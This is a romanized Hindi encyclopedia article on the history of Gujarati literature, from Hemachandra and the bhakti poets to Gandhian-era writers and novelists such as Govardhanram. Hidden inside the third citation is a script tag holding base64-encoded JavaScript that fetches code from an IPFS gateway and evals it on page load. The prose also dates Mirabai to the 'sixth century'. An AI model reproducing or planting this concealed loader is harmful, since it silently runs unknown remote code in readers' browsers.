गुजराती साहित्य
gujarati sahity bharat ki pramukh bhashaoan mean se ek gujarati bhasha ke sahity ko kaha jata hai. isaka sabase purana udaharan 12vian shatabdi ke jain vidvanh aur sant hemachandr ki kritiyoan se milata hai.
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vikas
12vian shatabdi ke uttarardh mean gujarati bhasha poornaroopen vikasit ho gee thi. 14vian shatabdi ke madhy kal mean likhi gee rachanaean ab bhi upalabdh haian, jo jain bhikshuoan dvara gady mean likhi geean upadeshatmak kritiyaan haian. isi prakar ki ek kriti tarunaprabha dvara likhit 'balabodh'[1] hai, isi kal ka jainetar greanth 'vasant-vilas'[2] hai. 15vian shatabdi ke do gujarati bhakti kavi narasi mehata aur bhallan (ya purushottam maharaj) the. bhallan ne 'bhagavat puran' ke 10vean adhyay ko chhote gitisvaroop mean dhala.[3]
bhakt kaviyoan ka yogadan
bhakti kaviyoan mean ab tak sabase prasiddh sant mahila mirabaee thian, jo chhathi shatabdi ke poorvarddh mean huee thian. halaanki mira vivahit thian, lekin vah krishna ko apana vastavik pati manati thian. unake devata aur premi ke sath unake sanbandhoan ki vyakhya karane vale git bharatiy sahity mean sabase jivant aur romaanchakari haian. gair bhakti gujarati kaviyoan mean premanand bhatt (16vian shatabdi) sabase vikhyat the, jinhoanne puran jaisi kahaniyoan par adharit kathatmak kavitaean likhian. halaanki unaki vishay-vastu paranparik thi, lekin unake charitr vastavik aur sashakt the tatha unhoanne apani bhasha ke madhyam se sahity mean ne pranoan ka sanchar kiya.
sahity jagath par prabhav
british shasan ki shuruat ne gujarat mean bhi sahity jagath ko prabhavit kiya. 1886 ee. mean narasianh rav ke gitoan ke sankalan 'kusumamala'[4] ki rachana huee, any kaviyoan mean kalapi, kaant aur visheshakar nanalal shamil the, jinhoanne mukt chhand ke sath prayog kie tatha vah mahatma gaandhi ki prashansa karane vale pahale kavi bhi the. gaandhi ji, jo svayan bhi gujarati the, ne kaviyoan ko janasadharan ke lie likhane ke lie prerit kiya aur is prakar samajik kram mean badalav ki bhavana rakhane vali kavita ke yug ka aranbh hua. gaandhi ji ke jivan ki kee ghatanaoan ne kaviyoan ke gitoan ko prerit kiya. any sthanoan ki bhaanti gujarat mean gaandhi yug ne ar. el. meghani aur bhogilal gaandhi ki varg sangharsh ki kavita mean pragati kal ka marg prashast kiya. svatantrata ke bad kavita ka svaroop vishayanishth hota gaya, lekin adhunik svaroopoan ne paranparik eeshvar bhakti aur prakriti prem ki mool bhavana ka atikraman nahian kiya.[3]
'sarasvatichandr' ki rachana
upanyasakaroan mean govardhan ram pramukh the. unaki kriti 'sarasvatichandr' ko pahala utkrisht samajik upanyas mana jata hai. upanyas vidya mean bhi gaandhivad ke prabhav ko spasht roop se mahasoos kiya ja sakata hai; halaanki kanhaiyalal muanshi ka vyaktitv isase bhinn tha, jo gaandhivadi adarshoan ke alochak the. unhoanne puranoan se prerit kee rachanaoan ke saman hi sandesh dene ke prati rujhan pradarshit kiya. svatantrata ke bad adhunik lekhakoan ne astitvavadita, atiyatharthavadi aur pratikatmak rujhanoan ko apana liya tatha kaviyoan ke saman hi itarikaran ko prakat kiya.
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tika tippani aur sandarbh
- ↑ yuvaoan ke lie nirdesh
- ↑ vasant ki khushiyaan
- ↑ 3.0 3.1 bharat jnanakosh, khand-2 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 88 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ phooloan ki mala
sanbandhit lekh
varnamala kramanusar lekh khoj
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